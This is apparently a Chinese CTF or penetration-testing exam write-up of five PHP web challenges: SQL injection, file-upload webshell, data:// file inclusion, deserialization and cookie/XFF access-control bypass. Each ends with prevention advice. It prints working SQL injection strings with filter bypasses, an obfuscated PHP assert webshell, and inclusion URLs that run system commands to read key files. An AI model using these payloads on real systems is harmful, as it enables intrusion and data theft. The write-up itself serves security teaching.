PTE
0 环境及工具
操作系统: Windows10
。
工具: Burpsuite
, AntSword-蚁剑
。
1 SQL 注入
所谓 SQL 注入,就是通过把 SQL 命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。
数据库中可以找到Key1。
解题思路:题目告诉通过数据库中找到 key ,那么就不存在通过二阶 SQL 注入方式获得。
首先,创建一个用户“1”,密码“123”。
简单了解到通过提交文章可以查询到数据库中的数据,所以我们可以通过在文章中注入SQL语句获取数据库内 key 值。
测试上传发现,
- 插入的 SQL 语句中会上传标题,内容和用户名。
- 代码过滤“--”和“#”注释符号。
解题方法1:通过“-#-”的方式绕过代码过滤,编写SQL注入语句。
解题方法2:通过构建多个插入语句方式绕过。
下面采用第二种方式解答。
1.1 查找数据库
1','123admin'),('1',database(),'select version()
通过构建第二个 sql 语句得到数据库名:
发现到数据库名“2web”。
1.2 查看表名
1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3
通过“/**/”的方式代替空格,获取当前数据库下的表名。
1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3
发现存在三个表,分别为“article”,“article1”和“users1”。最后一个表最有可能存在 key 值。
1.3 查看 user1 表
1','123'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3
1.4 查看 password 字段值
1','123'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3','123')
通过 limit 关键字从头查找,找到 key 值为“u9y8tr4n”。
1.5 预防措施
防止SQL注入攻击是确保数据库安全的重要措施。以下是一些有效的预防措施:
- 使用预编译的语句(Prepared Statements):
- 预编译的语句可以确保用户输入被安全地处理,不会被解释为SQL代码的一部分。
- 在许多编程语言中,如Java(JDBC)、PHP(PDO)、Python(SQLite3、psycopg2等)都支持预编译语句。 - 参数化查询:
- 与预编译语句类似,参数化查询可以确保输入被当作数据而不是SQL代码来处理。 - 输入验证:
- 对所有输入进行严格的验证,包括类型、长度、格式和范围。
- 使用强类型语言特性来限制和验证输入的类型。 - 最小权限原则:
- 数据库连接应该使用最小权限的账号,仅授权必要的操作权限,减少注入攻击成功后的损害。 - 错误处理:
- 确保错误信息不会暴露敏感信息,例如数据库结构等。
- 使用自定义的错误消息,避免直接显示数据库错误。 - 使用安全的API和框架:
- 使用已知安全的库和框架,它们通常会提供防止SQL注入的机制。
- 存储过程:
- 使用存储过程可以减少SQL注入的风险,因为它们通常不需要动态构建SQL语句。 - 网络安全措施:
- 使用Web应用防火墙(WAF)可以帮助检测和阻止SQL注入攻击。
- 保持系统和应用的更新,及时修补已知的安全漏洞。 - 教育和意识:
- 增加开发人员和数据库管理员对SQL注入的认识,理解其风险和预防措施。
- 代码审计和测试:
- 定期进行代码审计,使用自动化工具检测潜在的SQL注入漏洞。
- 进行安全测试,包括使用SQL注入测试工具和执行渗透测试。
2 文件上传突破
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
尝试获取 webshell,答案就在根目录下 key.php 文件中。
解题思路:文件上传的关键点在于文件木马,
2.1 制作木马
可以通过随机图片拼接 php 木马文件,也可以在木马文件名开头包含图片首并修改后缀名的方式。这里选择方式1制作。
木马为:
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
2.2 burpsuite 重放
通过 burpsuite 拦截文件上传并修改“content-Disposition”中的“filename”修改后缀名为“php”。
2.3 获取 webshell
通过蚁剑方式创建 webshell 连接,从而访问服务器内数据,获取 key 值为“a1b2c3d4”。
2.4 预防措施
防止 PHP 网站文件上传漏洞被利用,需要采取一系列安全措施来确保只有合法的文件可以被上传,并且上传的文件不会对服务器构成威胁。以下是一些有效的预防措施:
- 验证文件类型:
- 检查文件的 MIME 类型,确保上传的文件与预期的文件类型匹配。
- 使用$_FILES['file']['type']
,但要注意这个值可以被伪造,因此应该结合其他验证方法使用。 - 检查文件扩展名:
- 白名单允许的文件扩展名,拒绝所有不在白名单上的扩展名。
- 不要仅依赖客户端的文件扩展名,因为客户端的数据可以被篡改。
- 检查文件内容:
- 对上传的文件进行内容分析,确保它们不包含潜在的危险代码。
- 使用像getimagesize()
这样的函数来检查图像文件是否真的是图像。 - 限制文件大小:
- 通过php.ini
中的upload_max_filesize
和post_max_size
设置,限制上传文件的大小,以减少拒绝服务攻击(DoS)的风险。 - 存储文件时重命名:
- 在将文件保存到服务器上时,为其分配一个随机或基于时间的唯一文件名,以防止覆盖现有文件或执行任意代码。
- 文件存储位置:
- 不要将上传的文件存储在 Web 根目录下,以避免直接通过 URL 访问。
- 将上传目录设置为不可执行,以防止上传的脚本被服务器执行。
- 使用安全的文件处理函数:
- 使用像
move_uploaded_file()
这样的安全函数来处理上传的文件。
- 使用像
- 配置 PHP 设置:
- 在
php.ini
中设置file_uploads
为 Off,如果你不需要文件上传功能。 - 设置
upload_tmp_dir
到一个安全的目录,并确保该目录的权限设置正确。
- 在
- 权限控制:
- 设置上传目录的权限,确保 Web 服务器用户只能写入,不能执行。
- 使用 Web 应用防火墙(WAF):
- 使用 WAF 可以帮助检测和阻止恶意文件上传尝试。
- 定期安全审计:
- 定期检查文件上传功能的安全性,并进行必要的更新。
- 用户权限限制:
- 如果可能,仅允许授权用户上传文件,并对上传权限进行严格控制。
3 文件包含
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。
解题思路:web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入。通过控制包含文件的参数,被包含的文件可被当前页面访问。
3.1 伪协议包含
仔细查看发现 URL 中采用 page 参数且自动添加个 txt 后缀,那么就采用“data://text/plain”伪协议包含。
URL为:
http://10.7.189.93:83/start/index.php?page=dadata://ta://text/plain,<?php print_r(scandir("..")); ?>
需要注意到:
- 通过双写方式绕过过滤。
- 使用 scandir 这个 php 内置函数,扫描当前目录。同时使用 print_r 打印目录信息。
成功发现“key.php”文件。
3.2 访问 key.php
http://10.7.189.93:83/start/index.php?page=dadata://ta://text/plain,<?php @eval(system('cat ../key.php')); ?>
通过 eval 这个内置函数执行 cat 命令,获取 key.php 文件中的内容值。
通过查看网站源代码发现注释块中的 key 值为“abcdefgh”。
3.3 预防措施
文件包含漏洞主要分为本地文件包含(LFI)和远程文件包含(RFI)。以下是一些预防措施:
- 使用适当的文件包含函数:
- 尽量使用
require
、require_once
、include
和include_once
这些函数,并且总是使用绝对路径或者经过充分验证的变量来包含文件。
- 尽量使用
- 验证用户输入:
- 对用户输入进行严格的过滤和验证,确保它们不包含不安全的字符或路径。
- 使用白名单来限制包含文件的类型,只允许包含特定的文件扩展名。
- 禁用危险函数:
- 在
php.ini
配置文件中禁用危险的文件包含函数,如allow_url_include
设置为Off
。 - 如果不需要远程文件包含,确保
allow_url_fopen
也设置为Off
。
- 在
- 目录权限:
- 设置正确的文件和目录权限,确保 Web 服务器用户只能访问必要的文件和目录。
- 对于包含敏感信息的目录,应确保它们位于 Web 根目录之外,且不能通过 Web 访问。
- 使用框架或库:
- 使用成熟的框架,这些框架通常会自动处理文件包含的安全问题。
- 如果需要手动处理文件包含,使用经过良好测试的库来帮助管理文件路径和包含逻辑。
- 错误信息处理:
- 关闭 PHP 的错误显示功能,特别是不要在生产环境中显示详细的错误信息,以防止泄露敏感的文件路径信息。
- 代码审计:
- 定期进行代码审计,查找潜在的文件包含漏洞。
- 使用自动化工具来扫描代码库中的安全漏洞。
- 安全培训:
- 对开发人员进行安全最佳实践的培训,确保他们了解文件包含漏洞的风险和预防措施。
- 更新和补丁:
- 定期更新 PHP 和所有相关软件到最新版本,及时应用安全补丁。
- 日志和监控:
- 启用和监控 Web 服务器的访问日志,以便及时发现并响应异常的文件包含行为。
4 反序列化漏洞
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
解题思路:仅需构造 URL 中 str 语句即可。
补充:反序列化漏洞
php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的,序列化可以将对象转换成字符串。
php序列化的函数为 serialize,可以将对象中的成员变量转换成字符串。
反序列化的函数为 unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。
4.1 构造 URL
仅需要构造url为:
http://10.7.189.93:84/start/index.php?str=s:44:"Whatever is worth doing is worth doing well.";
其中 s 代表字符类型,44表示 $TEAM 变量长度。
获取其 key 值为“123456”。
4.2 预防措施
- 最小化使用序列化:
- 尽可能避免使用序列化,特别是对于不可信的数据。
- 如果必须使用序列化,确保只在受控的环境中序列化和反序列化数据。
- 验证和清理数据:
- 在反序列化之前,对数据进行严格的验证,确保它没有被篡改。
- 使用白名单来检查数据,只允许预期的类被反序列化。
- 清理可能的数据,移除任何可能导致安全问题的字符或代码。
- 使用签名:
- 对序列化的数据进行签名,并在反序列化之前验证签名。
- 这可以确保序列化的数据在传输过程中没有被篡改。
- 使用
__wakeup()
和__sleep()
魔术方法:- 在类定义中,使用
__wakeup()
方法来初始化对象,并执行安全检查。 - 使用
__sleep()
方法来控制哪些属性被序列化。
- 在类定义中,使用
- 限制类和方法:
- 限制可以反序列化的类,避免反序列化那些可能包含危险方法的类。
- 使用
serialize_precision
来限制序列化数据的精度,减少潜在的风险。
- 使用
php.ini
配置:- 考虑在
php.ini
中设置session.serialize_handler
为php
(而不是php_binary
),以减少反序列化漏洞的风险。 - 设置
zend.enable_gc
为Off
可以防止垃圾回收机制的滥用。
- 考虑在
- 使用最新的 PHP 版本:
- 保持 PHP 版本更新到最新,以获得最新的安全修复。
- 使用框架和库:
- 使用现代的 PHP 框架和库,它们通常内置了防止反序列化漏洞的机制。
- 代码审计和测试:
- 定期进行代码审计,寻找反序列化漏洞。
- 使用自动化工具和静态代码分析工具来检测潜在的反序列化问题。
- 错误处理:
- 确保错误处理不会泄露敏感信息,特别是与反序列化相关的错误。
- 用户权限:
- 限制用户权限,确保只有授权的用户才能访问包含反序列化操作的代码。
5 失效的访问控制
失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY。
解题思路:通过拦截网站数据,修改 http 传输数据提权为管理员。
5.1 篡改客户端IP
X-Forwarded-For(XFF)是一个用于识别通过代理服务器连接到Web服务器的客户端原始IP地址的事实标准请求头。网站提示仅能本地访问,所以修改“X-Forwarded-For”的 IP 地址。
5.2 篡改用户名以及权限
通过对 Cookie 的简单查看,发现“Username”属性值进行了 URL 编码(包含 %),所以对其解码,同时又发现该属性值还进行了 base64 编码(以 = 结尾),解码得到其值为“Guest”。那么我们对“admin”(通过“IsAdmin”属性名猜测)用户名进行反向操作,以替换原值。
原值:R3Vlc3Q%3D
url 解码:R3Vlc3Q=
base64 解码:Guest
--------------------------
原值:admin
base64 编码:YWRtaW4=
url 编码:YWRtaW4%3d
同时将“IsAdmin”属性值修改为“true”。
得到 key 值为“12345678”。
5.3 预防措施
- 实施最小权限原则:
- 确保用户和程序只能访问他们需要完成任务的最低权限级别的资源。
- 使用适当的用户角色和权限模型来限制对敏感功能的访问。
- 使用框架的访问控制机制:
- 如果使用 PHP 框架,利用其内置的访问控制功能,如路由守卫、中间件等。
- 框架通常提供了更为安全和经过充分测试的访问控制解决方案。
- 统一的访问控制检查:
- 在应用程序中实施统一的访问控制检查点,确保每个请求都经过适当的权限验证。
- 避免在不同部分重复实现访问控制逻辑,以减少出错的可能性。
- 会话管理和身份验证:
- 确保会话管理是安全的,使用 HTTPS 来防止会话劫持。
- 对用户身份进行严格的验证,并定期重新验证用户的权限。
- 检查用户输入:
- 对用户输入进行严格的验证和过滤,避免直接使用用户输入来决定访问权限。
- 使用基于角色的访问控制(RBAC):
- 实施基于角色的访问控制,为不同的用户角色分配不同的权限。
- 确保角色和权限配置正确无误。
- 使用访问控制列表(ACL):
- 对于更细粒度的访问控制,使用 ACL 来定义哪些用户或角色可以访问特定的资源。
- 安全审计:
- 定期进行安全审计,检查访问控制逻辑的有效性。
- 使用自动化工具来扫描潜在的访问控制漏洞。
- 错误处理:
- 当访问被拒绝时,确保提供通用的错误消息,避免透露具体的系统信息。
- 避免在错误消息中包含有关应用程序内部结构的信息。
- 日志记录和监控:
- 记录所有访问尝试,特别是失败的访问尝试,以便于监控和分析。
- 使用入侵检测系统(IDS)或安全信息和事件管理(SIEM)系统来监控异常行为。
- 代码审查:
- 在代码审查过程中,特别关注访问控制相关的代码。
- 确保新加入的功能或代码更改不会破坏现有的访问控制机制。
- 培训和教育:
- 对开发人员和运维人员进行安全最佳实践的教育,包括访问控制的重要性。